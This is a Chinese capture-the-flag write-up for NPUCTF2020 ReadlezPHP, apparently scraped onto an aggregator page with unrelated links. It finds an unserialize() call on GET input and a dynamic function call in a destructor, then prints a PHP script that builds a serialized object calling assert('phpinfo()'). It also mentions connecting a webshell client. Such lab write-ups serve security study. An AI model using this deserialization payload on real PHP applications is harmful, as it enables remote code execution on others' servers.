当前位置: 首页 > news >正文

反序列化 [NPUCTF2020]ReadlezPHP1

打开题目

直接查看源代码

 打开源代码发现了个./time.php?source

访问一下

审计代码:

现存在反序列化语句:@$ppp = unserialize($_GET["data"]);和执行漏洞:echo $b($a);

发现在__destruct()方法里面有 echo $b($a);

这个是php的特性,php可以通过这种方法动态调用方法。

思路很简单,只要把$b赋值为方法名字,吧$a赋值成调用的参数就行了。

payload

<?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "phpinfo()";$this->b = "assert";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;@$ppp = serialize($c);
echo $ppp;
?>

将得到的payload上传

发现成功了,于是可以用蚁剑连接,但是这个题目用蚁剑连接以后是空白一片,于是考虑可能是在phpinfo()里面

得到flag

http://www.lryc.cn/news/304908.html

相关文章:

  • AI技术那些事儿:揭开潜伏在你生活中的高科技小能手
  • 使用向量数据库pinecone构建应用06:日志系统异常检测 Anomaly Detection
  • 抽象工厂模式 Abstract Factory
  • 掌握 Android 中的 RecyclerView 优化
  • Android platform tool中d8.bat不生效
  • WSL安装Ubuntu22.04,以及深度学习环境的搭建
  • 【PTA|选择题|期末复习】结构体
  • Video generation models as world simulators-视频生成模型作为世界模拟器
  • 高刷电竞显示器 - HKC VG253KM
  • nginx-------- 高性能的 Web服务端 (三) 验证模块 页面配置
  • Kafka是如何防止消息丢失的
  • [工具探索]VSCode介绍和进阶使用
  • Oracle迁移到mysql-表结构的坑
  • 【SpringCloudAlibaba系列--nacos配置中心】
  • 使用LinkedList实现堆栈及Set集合特点、遍历方式、常见实现类
  • springboot-cache+redis 为指定名称缓存设置独立超时时间
  • Flutter 数据持久化存储之Hive
  • Java中继承静态属性,方法,和非静态属性和方法的继承区别
  • C# If与Switch的区别
  • 实验室预约|实验室预约小程序|基于微信小程序的实验室预约管理系统设计与实现(源码+数据库+文档)
  • 蓝桥杯DP算法——区间DP(C++)
  • pytest结合Allure生成测试报告
  • Linux--ACL权限管理
  • Xcode中App图标和APP名称的修改
  • Spring 手动实现Spring底层机制
  • CSV数据导入到ClickHouse数据库
  • 第十二天-ppt的操作
  • 计算机网络-网络层,运输层,应用层
  • Python爬虫学习
  • 台式电脑黑屏无法开机怎么办 电脑开机黑屏的解决方法